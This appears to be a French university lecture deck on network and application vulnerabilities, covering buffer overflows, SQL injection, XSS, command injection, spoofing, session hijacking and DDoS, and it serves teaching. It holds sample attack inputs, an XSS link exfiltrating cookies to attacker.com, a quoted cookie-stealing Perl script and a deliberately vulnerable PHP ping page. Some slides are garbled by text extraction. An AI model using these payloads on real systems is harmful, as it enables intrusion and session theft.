Vous êtes sur la page 1sur 89

LA SÉCURITÉ DES

RÉSEAUX
Vulnérabilités du réseau et applicatives
Vulnérabilités applicatives
Les vulnérabilités
 La plupart des logiciels contiennent des défauts
 Ces défauts peuvent être exploités par des pirates
 Un « exploit » est la méthode, le script, qui permet
d’exploiter le défaut.
 Les plus intéressants sont les exploits de serveurs:
 Ils peuvent être fait à distance
 Les serveurs ont souvent des privilèges élevés
Vulnérabilités conceptuelles
 Exemple classique: directory traversal
 Les documents d’un serveur web sont accessibles
depuis une racine.
 Si le serveur ne vérifie pas les URL, on peut
accéder à d’autres fichiers
Exemple
 Dans un cas classique, l'utilisateur peut être amené à remonter progressivement
l'arborescence, notamment dans le cas où la ressource n'est pas accessible, par exemple :
 http://cible/base/test/ascii.php3
 http://cible/base/test/
 http://cible/base/
 Des attaques plus évoluées consistent à encoder certains caractères :
 soit sous la forme d'encodage d'URL : http://cible/..%2F..%2F..%2Frepertoire/fichier
 soit avec une notation Unicode : http://cible/..%u2216..%u2216repertoire/fichier
 De nombreux sites dynamiques passent le nom des pages à afficher en paramètre sous
une forme proche de la suivante :
 http://cible/cgi-bin/script.cgi?url=index.htm
 Pour peu qu'aucun contrôle ne soit réalisé, il est possible pour un pirate de modifier l'URL
manuellement afin de demander l'accès à une ressource du site auquel il n'a pas accès
directement, par exemple :
 http://cible/cgi-bin/script.cgi?url=script.cgi
Exemple:
 Compaq Server Management Agent:
 Petit serveur web de gestion de PC, sur le port
2301
 Racine des documents c:\Compaq\x\y\
 Pour accéder au fichier c:\interesting\document.txt
 Il suffit de taper:
 http://mon.serveur.com:2301/../../../interesting/docume
nt.txt
 Droits d’accès administrateur
Vulnérabilités techniques
 Classique: le buffer overflow
 Si un programme ne vérifie pas la quantité de
données qu’il reçoit, il risque d’écraser une zone
mémoire qui contient des variables, du code ou des
adresses de saut
 En connaissant bien l’architecture de la machine on
peut fournir du code machine qui sera exécuté
Rappel: la pile
 La pile sert à stocker des informations
momentanément
 On retire les informations dans l’ordre inverse
qu’on les a déposées
 Lors d’un appel de procédure, l’adresse de retour
est posée sur la pile
 On dépose aussi les paramètres de la procédure
Rappel: la pile
 Les variables locales de la procédure sont aussi
stockées sur la pile
 Une zone correspondante (la trame) est réservée sur
la pile
 Un pointeur de trame indique où commence la
trame active sur la pile.
 Lors d’un appel de procédure, l’ancienne valeur du
pointeur de trame est déposée sur la pile avant
d’être remplacée par sa nouvelle valeur
La pile: exemple
void f(int a, int b) {
char buffer[10];
strcpy(buffer,"hello world.");
}
void main(){
f(1,2);
}
Y-a un truc
 La pile ne croît pas de bas
en haut, mais de haut en
bas!
 Le bas de la mémoire est
réservé pour le
programme. Ce qui reste
libre en haut, est utilisé
pour la pile
Exploit
 Le débordement du buffer
permet d'écraser l'adresse de
retour et une partie de la pile
 La pile peut être écrasée avec
un fragment de programme
 L'adresse de retour peut
pointer sur ce fragment
Exploit
 A la fin de la procédure,
 la trame est retirée de la pile,
 le pointeur de trame précédent
est retiré,
 l'adresse de retour est retirée
 L'exécution continue à
l'adresse de retour
 Si adr pointe sur le début du
programme, celui-ci est
exécuté
Difficultés
 Il est difficile de deviner
l'avancement de la pile et de
choisir adr
 Le programme n'a pas le droit
de contenir le caractère spécial
\0 qui termine les chaînes de
caractères et donc le
débordement de la mémoire
Buffer overflow: Exemple
char buf[80];
void vulnerable() {
gets(buf);
}
 gets() lit tous les octets disponible de stdin, et les sauvegarde dans
buf[]
 Que passe t-il si l’entrée dépasse 80 octets?
gets() écrit en dehors de buf et écrase d’autres parties de la mémoire
Un bug!
 Résultat?
 Program crash?
 Des conséquences pires sont possibles…
Buffer overflow: Exemple
char buf[80];
int authenticated = 0;
void vulnerable() {
gets(buf);
}
 Une routine de login initialise un flag d’authentification seulement si
l’utilisateur preuve la connaissance du mot de passe
 Quel est le risque?
 authenticated est sauvegardée juste après buf
 L’attaquant “écrit” des données même après la fin de buf
 L’attaquant “écrit” 81 octets (81st ≠0)
 Rend authenticated vrai!
 L’attaquant peut ainsi accéder: security breach!
Buffer overflow: Exemple
char buf[80];
int (*fnptr)();
void vulnerable() {
gets(buf);
}
 fnptr se pointe quelque part
 Qu’est ce qu’il un attaquant peut faire?
 Il peut écraser fnptr avec n’importe quelle adresse
 Rediriger l’exécution du programme vers
 Un code d’un programme malicieux
 malicious code injection attack
Buffer overflow: Exemple
 Le serveur web MS-IIS avait un buffer overflow sur les URL en .htr
(1999) et en .ida (2001)
 Le ver Code Red (Juillet 2001) a exploité le buffer overflow .ida
 NetMeeting avait un buffer overflow sur l'adresse à appeler:

 Un Buffer overflow dans le RPC de windows est responsable du ver


MSBlaster
 Le ver Sasser (2004) utilise un buffer overflow dans le service LSAS de
Windows
SQL Injection
 Un formulaire d'un site de e-commerce demandait
un nom et un mot de passe
 Il construisait une chaîne de caractères représentant
une requête SQL du type
query$ = 'SELECT nom, pw FROM database WHERE
nom = "'+nom$+'" AND pw = "'+password$+'"‘
 La requête était exécutée, et si le résultat n'était pas
nul, l'authentification était ok
Exemple
 Soit un site web dynamique programmé en PHP qui utilise
un système d’authentification.
 Ce site utilise la requête SQL suivante pour identifier un
utilisateur :
 SELECT uid FROM Users WHERE name = '(nom)' AND
password = '(mot de passe hashé)';
 L'utilisateur ‘Etudiant’ souhaite se connecter avec son mot
de passe " Master" hashé en MD5. La requête suivante est
exécutée :
 SELECT uid FROM Users WHERE name = 'Etudiant' AND
password = '45723a2af3788c4ff17f8d1114760e62';
Exemple: Attaque
 Imaginons à présent que le script PHP exécutant cette requête ne
vérifie pas les données entrantes. Un cracker pourrait alors fournir
les informations suivantes :
 Utilisateur : Etudiant' --
 Mot de passe : n'importe lequel
 La requête devient :
 SELECT uid FROM Users WHERE name = ‘Etudiant' -- ' AND password
= '4e383a1918b432a9bb7702f086c56596e';
 Lescaractères -- marquent le début d'un commentaire en SQL. La requête est
donc équivalente à :
 SELECT uid FROM Users WHERE name = ‘Etudiant';
 L'attaquant peut alors se connecter sous l'utilisateur Etudiant avec
n'importe quel mot de passe
Exemple: Attaque
 Supposons maintenant que l'attaquant veuille à tromper le script SQL sur
le mot de passe. Il pourra alors injecter le code suivant :
 Utilisateur : Etudiant
 Mot de passe : ' or 1=1 --
 L'apostrophe indique la fin de la zone de frappe de l'utilisateur, le code
"or 1=1" demande au script si 1=1 est vrai, or c'est toujours le cas, et --
indique le début d'un commentaire.
 La requête devient alors :
 SELECT uid FROM Users WHERE name = 'Etudiant' AND password = ' '
OR 1=1 --';
 Ainsi le script programmé pour vérifier si ce que l'utilisateur tape est
vrai, il verra que 1=1 est vrai, et l'attaquant sera connecté sous la session
Dupont.
Le « cross site scripting »
 Attaque connue depuis février 2000:
 http://www.cert.org/advisories/CA-2000-02.html
 L’acronyme XSS:
 CSS : Cascading Style Sheet
 XSS : Cross Site Scripting (exécution croisée de code).
Cross-Site Scripting XSS
 Le cross-site scripting est une attaque avancée basée sur
les problèmes de validation de paramètres
 Le but est de créer un script sur un serveur web de
manière à ce qu'un utilisateur tiers l'exécute pour
attaquer un site tiers.
 Le XSS consiste à injecter du code javascript dans une
page web
 Souvent, le script se trouve dans un autre site, d’où:
cross-site scripting
 Par exemple, <script src=http://www.site.com/hack.js>
Intérêt de XSS
 http est un protocole sans notion de session: pas de
lien entre les requêtes reçues par le serveur.
 Une session doit être construite artificiellement:
 Par un cookie envoyé au navigateur
 Par manipulation d’URL contenant un identifiant
 Par des paramètres d’un programme
 Etc.
Exemple d’attaque
Comment détourner le cookie
 Le client a consulté un site pirate.
 Le client a reçu un courrier électronique contenant
un lien vers un site pirate.
 Le serveur consulté a été piraté et contient un lien
vers le site pirate.
 Un code malveillant pointant vers le site pirate a
été inséré dans les saisies du client.
 Etc.
Cross-Site Scripting: Exemple
 Mallory enregistre un message dans le guestbook
d'Alice avec le script suivant:
<script>document.location=http://amazine.com/buybook
now.cgi?book=mallory</script>
 Bob veut lire le guestbook d'Alice. Son browser
exécute le script que Mallory a déposé.
 Dans ce cas, le script va ouvrir une page chez
amazine. Si Bob est authentifié par ses cookies, il va
automatiquement acheter le livre de Mallory, qui
devient un bestseller!
Cross-Site Scripting: dangers
 Redirection de session (par exemple sur une copie
du site original)
 Affichage de formulaires pour récupérer des
informations
 Vol de cookies
 Abus de confiance
 Exécution d’actions (de clics) à la place de
l’utilisateur
Exemple 2
 Une vulnérabilité XSS est détectée sur le site
www.vulnerable.com
 Un utilisateur clique sur un lien (reçu par courriel,
trouvé sur un livre d’or, …):
<html>
<a
href="http://www.vulnerable.com/var=<script>do
cument.location.replace(http://attacker.com/steal
.cgi?+document.cookie);</script>">
cliquer ici pour recevoir 50 euros
</a>
</html>
Exemle2: Script steal.cgi
• #!/usr/bin/perl # The QUERY_STRING environment variable
# steal.cgi by David Endler should be filled with
dendler@idefense.com # the cookie text after steal.cgi:
# Specific to your system # http://www.attacker.com/steal.cgi?XXXXX
$mailprog = '/usr/sbin/sendmail'; print COOKIES “$ENV{'QUERY_STRING'}
# create a log file of cookies, we’ll also email from $ENV{‘REMOTE_ADDR’}\n”;
them too # now email the alert as well so we can start to
open(COOKIES,”>>stolen_cookie_file”); hijack
# what the victim sees, customize as needed open(MAIL,"|$mailprog -t");
print "Content-type:text/html\n\n"; print MAIL "To: attacker\@attacker.com\n";
print <<EndOfHTML; print MAIL "From:
<html><head><title>Cookie cookie_steal\@attacker.com\n";
Stealing</title></head> print MAIL "Subject: Stolen Cookie
<body> Submission\n\n";
Your Cookie has been stolen. Thank you. print MAIL "-" x 75 . "\n\n";
</body></html> print MAIL “$ENV{'QUERY_STRING'} from
EndOfHTML $ENV{‘REMOTE_ADDR’}\n”;
close (MAIL);
Command injection
 Un paramètre est utilisé lors de l'exécution d'une
commande système: System("nslookup
$hostname")
Exemple
<?php
 if( isset( $_POST[ 'submit' ] ) ) {
     $target = $_REQUEST[ 'ip' ];
     // Determine OS and execute the ping
command.
    if (stristr(php_uname('s'), 'Windows NT'))
{
           $cmd = shell_exec( 'ping  ' . $target );
        echo '<pre>'.$cmd.'</pre>';}
else {
             $cmd = shell_exec( 'ping  -c 3 ' .
$target );
        echo '<pre>'.$cmd.'</pre>';    } }
?>
Exemple
 Si un pirate écrit une commande après l’adresse, il obtient:
Failles des applications web
 Les sites web interactifs (e-commerce, telebanking,
etc) sont réalisés avec des scripts.
 Des formulaires sont écrits en HTML
 Le client les remplit et clique sur le bouton
 Le bouton génère la requête d’une URL garnie des
paramètres données dans le formulaire
 La requête appelle un script qui fait une opération
avec les paramètres et rend une page web en
résultat
Injection HTML
 Les informations fournies par le client peuvent
contenir des caractères spéciaux
 Ces caractères peuvent avoir une signification
inattendue suivant le contexte dans lequel ils sont
interprétés.
 Par exemple, ils peuvent contenir du formatage
HTML
Vulnérabilités des réseaux
IP Spoofing
 Dans certains cas, l'adresse source IP est utilisée pour
autoriser une communication
 Les routeurs et firewalls peuvent filtrer les paquets en
fonction de leur source
 Certains programmes (rlogin, rsh) peuvent autoriser
certaines sources à se connecter sans authentification.
 Il est facile de forger l'adresse source d'un paquet IP
et d'usurper la confiance faite à cette source
 La réponse à un message forgé est envoyée à l'adresse
usurpée
IP Spoofing – The Reset

3. RESET
2. SYN ACK – –
Sure, what
Umm.. I have
do no
you
wantwhy
idea to talk
you are
Alice about? to me
talking Victim - Bob

1. SYN – Let’s
have a
4. No connection – Guess I
conversation
need to take Bob out of the
picture…

Attacker - Eve
DNS spoofing
DNS cache poisoning
41

 But :
 corrompre le cache d'un serveur DNS et reroutage d’un site sur un site pirate
 Principe :
 Faire tourner un faux serveur DNS qui permettra de rajouter un
champ "additional record".
 Faire une requête sur le serveur DNS victime.
 Cette requête devra être redirigée vers le faux serveur DNS.
 Grace au champ "additional record", le faux serveur interrogé
répondra avec plus d'enregistrements que demandé.
 Exemple :
 vulnérabilité découverte en juillet 2007 pour BIND (CERTA)
DNS cache poisoning (exemple)
42
IP Spoofing avecTCP
 Les applications que nous voulons pirater (rlogin,
rsh, ..) utilisent TCP
 TCP est un protocole à fenêtre,
 Il utilise des numéros de séquence pour suivre les
données envoyées et reçues
 Pour éviter de réutiliser les mêmes numéros de
séquence, un numéro de séquence initial aléatoire
(ISN) est choisi pour chaque nouvelle connexion
TCP: rappel
 Etablissement de la connexion (3-way handshake)
La difficulté du spoofing TCP
 A envoie ses paquets avec une adresse source C
 Il doit deviner l'ISN que B va proposer à C!

 C, qui n'a rien demandé à personne, envoie un reset à B


 Le pirate doit empêcher C de répondre!
Génération de l'ISN TCP
 Le standard (RFC 793) indique qu'il faut incrémenter
l'ISN de 1 toutes les 4 microsecondes
 En réalité, l'incrément peut (ou pouvait) facilement être
deviné
 Procédé du pirate:
 Il ouvre quelques connexions réelles (par exemple SMTP)
pour obtenir un ISN actuel et des échantillons d'incréments
 Il lance sa connexion forgée en utilisant le dernier ISN plus
un incrément déduit de ces échantillons
 Il peut lancer une multitude de connexions forgées avec des
incréments variés en espérant avoir juste au moins une fois.
TCP Spoofing: exemple
ARP Spoofing
 ARP: address resolution protocol
 protocole qui sert à trouver l'adresse couche 2
(ethernet) d'une adresse de couche 3 (IP)
 Très simple et non sécurisé:
 client: qui connaît l'adresse ethernet de 10.1.2.3 ?
 n'importe qui: 10.1.2.3 a l'adresse ethernet
010203040506
 Il est facile de forger des réponses (même non-
sollicitées) pour rediriger le trafic!
ARP Spoofing
 Souvent la première étape d’une attaque de sécurité
 Utilise le mécanisme « ARP gratuit »
 Une machine qui a une entrée « IP, MAC » dans son
cache ARP la met à jour quand elle voit une réponse ou
une requête ARP pour cette adresse IP
 Utilisé lorsque l’adresse MAC d’une machine
change, p.ex à cause d’une panne de la machine ou
de la carte réseau
ARP Spoofing
ARP Spoofing
Sniffing
 Beaucoup de protocoles utilisent une authentification
en clair
 En visualisant le trafic sur un segment de réseau on
peut glaner des noms d'utilisateurs et mots de passe
 Un mot de passe donne accès à une machine distante à
partir de laquelle on peut sniffer de nouveaux mots de
passe
 Les réseaux commutés limitent les possibilités de
sniffing, mais les commutateurs peuvent être
manipulés.
LAN partagé, LAN commuté
 Lan partagé:
 facile à sniffer
 Lan commuté:
 ARP spoofing permet de sniffer
ce type de réseau
Sniffing: Exemples
 Protocoles qui échangent des informations
d'authentification en clair:
 telnet
 rsh, rlogin, rexec
 ftp
 http (avec authentification basique)
 pop, imap
Session Hijacking
 Au lieu de voler un mot de passe, le pirate peut
attendre qu'un utilisateur s'authentifie et lui voler sa
session
 Cette technique s'applique à plusieurs niveaux
 Modem
 TCP
 HTTP
Session Hijack

3. At
1.
2. Eveany
assumes
can point,
monitor
aEve
man-in-the-middle
traffic
can assume
betweentheAlice
identity
position
and
through
Bob
of either
without
some
Bobaltering
or
mechanism.
Alicethe
through
packets
Forthe
example,
orSpoofed
sequence
EveIP
could useThis
numbers.
address. Arp breaks
Poisoning,the pseudo
social engineering,
connection
router
as Evehacking
will startetc...
modifying the sequence
numbers
Alice Bob
I’m Bob!
I’m
Alice!

Eve
Session Modem
 Le modem donne accès à une ligne série (p. ex.
terminal en ligne)
 Un utilisateur peut couper la ligne sans quitter sa
session en ligne
 La session de terminal reste active un certain temps
 Le prochain utilisateur (ou pirate) qui se connecte
au modem retrouve la session du prédécesseur
Session TCP
 Si un pirate peut espionner une connexion TCP, il
peut insérer un paquet TCP avec les bons numéros
de séquence.
 L'insertion d'un paquet falsifié dans une connexion
TCP crée une avalanche de paquets
 La source, qui n'a pas émis le paquet, n'est pas d'accord
avec le numéro de séquence acquitté et émet un
acquittement
 La destination, qui a vu le paquet, n'est pas d'accord
avec le numéro de séquence et envoie un acquittement
Session HTTP
 Le protocole HTTP ne connaît pas vraiment de
sessions.
 Il est fait de requêtes/réponses indépendantes.
 Les sites de commerce électronique utilisent des
artifices pour reconnaître les requêtes formant une
session.
 Cookies ou URL personnalisées.
 Si le pirate peut espionner ces informations, il peut
créer des requêtes qui font partie de la même session.
Session HTTP: exemple
Dénis de service
 Denial of Service (DoS),
 Distributed denial of service (DDoS)
 Les systèmes informatiques sont si complexes qu'il
est facile de faire gripper la machine
 La subtilité consiste à le faire de manière anonyme
Syn flooding
 Envoi d'un grand nombre de requêtes d'ouverture
de connexion TCP (syn)
 Lors de la réception d'un paquet syn, le serveur
réserve la mémoire nécessaire à la connexion et
l'enregistre dans une queue de connexions semi-
établies
 Ce cas n'ayant pas été prévu, le serveur ne peut
plus accepter de nouvelles connexions lorsque la
queue déborde
Syn flooding (anonymat)
 Le pirate ne désire pas ouvrir de connexions réelles
 Il peut falsifier les adresses sources de ses paquets
syn pour rester anonyme
 Les versions récentes des systèmes d'exploitation
(windows, unix) sont protégées contre ces attaques
Mitnick Attack

6. Mitnick fakes
4. forgesthe
a SYN
ACKfrom
usingthe
theserver
to the terminal
proper TCP sequence number

5. Terminals responds with an ACK,


which is ignored by the flooded port (and
7. Mitnick has now established a one
not visible to Mitnick)
Workstation way communications channel Server

3. Mitnick Probes
2. discovers
thethat
Workstation
the TCP to 1. Mitnick Flood’s server’s
determinenumber
sequence the behaviour
is incremented
of its TCP
by login port so it can no longer
sequenceeach
128000 number
new generator
connection respond

Kevin Mitnick
Smurf
 Noyer la cible à l'aide d'amplificateurs de trafic
 Cas typique: ICMP echo-request (ping)
 Le pirate envoie un paquet ping avec l'adresse de la
cible comme source
 La machine "pingée" envoie sa réponse à la cible
 Si le pirate envoie le paquet à une adresse
broadcast, ce sont toutes les machines du réseau qui
vont répondre à la cible
Smurf
Denis de service distribués
 Pour augmenter l'efficacité des dénis de service, les
pirates compromettent une série de machines et
installent des agents
 Plusieurs machines maître contrôlent les agents
 Le pirate envoie des commandes aux maîtres, qui
font exécuter les attaques par les agents
DDoS: schéma
DDoS: caractéristiques
 La puissance (bande passante) de l'attaque est
multipliée par les agents
 Il est plus difficile de remonter aux pirates (2
couches intermédiaires)
 L'attaque provenant de plusieurs sources, il est
beaucoup plus difficile de la filtrer
DDoS: exemples
 Les logiciels de DDoS connus sont:
 Trinoo, TribeFloodNetwork, TFK2000
 Stacheldraht, Shaft et Mstream
 Caractéristiques (Stacheldraht):
 Attaques: syn flood, udp flood, icmp flood, smurf
 Communications chiffrées: TCP (pirate-maîtres), ICMP
(maîtres-agents)
 Mise à jour automatique des agents
 Cas DDoS janvier 2000 (yahoo, cnn, etc..): 70 agents,
80% smurf, 20% syn flooding
Phishing for phishers
 User ID = <img
src="http://www.osq.ch/xxx27.gif">
www.owasp.org
 Maintient une liste des erreurs classiques qui
permettent de pirater une application web:
 XSS
 Failles d’injection
 Exécution de fichiers malicieux
 Manque de restriction d’accès URL
 B.O
 …
La méthode de piratage
Méthode « standard »
Recherche d’informations
 Informations sur les sites web
 Bases de données des noms enregistrés
 www.networksolutions.com pour les dot-coms
 Bases de données des adresses IP
 RIPE pour l’Europe
 Internic aux US
Sélection des cibles
 En connaissant les adresses IP, on peut lancer un
scan pour trouver des cibles intéressantes
 Le scanner va essayer de se connecter à tous les
services désirés sur toutes les machines appartenant
à une plage d’adresses.
 Résultat: liste des machines accessibles, ports
ouverts sur ces machines.

 Exemple d’application: superscan


Enumération des services
 Dans cette phase il s’agit de trouver des
informations sur les services disponibles
 On va rechercher:
 Système d’exploitation
 Editeur du logiciel
 Version du logiciel
 Utilisation de Telnet par exemple
Intrusion
 En recherchant une vulnérabilité connue mais pas
encore patchée, on arrive à s’introduire dans le
système.
 On trouve les vulnérabilités connues dans des sites
comme securityfocus.com.
 Les vulnérabilités les plus fraîches sont publiées
dans des mailing-lists (bugtraq, ntbugtraq)
 Des scanners de sécurité peuvent faire le travail à
notre place.
Intrusions: outils
 Nessus ou OpenVAS pour découvrir
automatiquement les failles
 Metasploit pour exécuter automatiquement des
exploits
Résumé de la suite
 Escalation de privilège
 Par exemple en installant un petit script que
l’administrateur va exécuter par inadvertance
(regedit.cmd)
 Pillage
 Vol des hashs de mot de passe, SAM sous NT, ou
/etc/shadow sous Unix
 Recherche d’informations intéressantes,
documentation ou e-mails contenant des mots de passe
Suite:
 Effacement des Traces
 « correction » des logs, avec outils automatique
 Dissimulation de l'intrus à l'aide de rootkits
 Le rootkit est un ensemble de programme remplaçant les
programmes système afin de masquer la présence du pirate
(cf virus furtifs)
 Correction de la faille pour éviter de se faire voler
sa cible.
 Installation d’un accès dérobé (backdoor)
Conclusions
 N’importe qui est capable d’apprendre à
compromettre votre site en un après-midi
 Ce n’est pas parce que vous êtes peu connus que
vous ne serez pas attaqués (code red I/II, nimda)
 Installez les patchs de sécurité à mesure qu’ils sont
publiés
 N’installez que les modules logiciels strictement
nécessaires sur vos serveurs
Annexe
Buffer overflow
Buffer Overflow
 Appelée aussi "buffer overruns"; c'est une
vulnérabilité extrêmement étendue (environ 2/3 des
vulnérabilités).
 Écriture de données en dehors de la zone allouée
(pile ou tas).
Exemple 1 de compilation
/* Programme EXEMPLE_1.c en langage C */
void main(void) {
char X = 11;
char C = ’A’;
int Res;
if (X < 0)
Res = -1;
else
Res = 1;
}
Exemple 1 de compilation
_TEXT SEGMENT byte public MOV word ptr [bp-4], 65535
’CODE’ JMP @1@114
ASSUME cs:_TEXT @1@86:
_main PROC near MOV word ptr [bp-4], 1
PUSH bp @1@114:
MOV bp,sp MOV sp,bp
SUB sp, 4 POP bp
MOV byte ptr [bp-1], 11 RET
MOV byte ptr [bp-2], 65 _main ENDP
CMP byte ptr [bp-1], 0 _TEXT ENDS
JGE @1@86 END
Exemple 2 de compilation
/* Programme EXEMPLE_2.C
*/
int ma_fonction( int x, int y ) {
return x + y;
}
void main(void) {
int X = 11;
int Y = 22;
int Res;
Res = ma_fonction(X, Y);
}
Exemple 2 de compilation
_TEXT SEGMENT byte public ’CODE’ SUB sp,6
ASSUME cs:_TEXT MOV [bp-2], 11
_ma_fonction PROC near MOV [bp-4], 22
PUSH bp PUSH word ptr [bp-4]
MOV bp,sp
PUSH word ptr [bp-2]
MOV ax, [bp+4]
CALL _ma_fonction
ADD ax, [bp+6]
ADD sp, 4
POP bp
RET
MOV [bp-6],ax
_ma_fonction ENDP MOV sp,bp
ASSUME cs:_TEXT POP bp
_main PROC near RET
PUSH bp _main ENDP
MOV bp,sp _TEXT ENDS

Vous aimerez peut-être aussi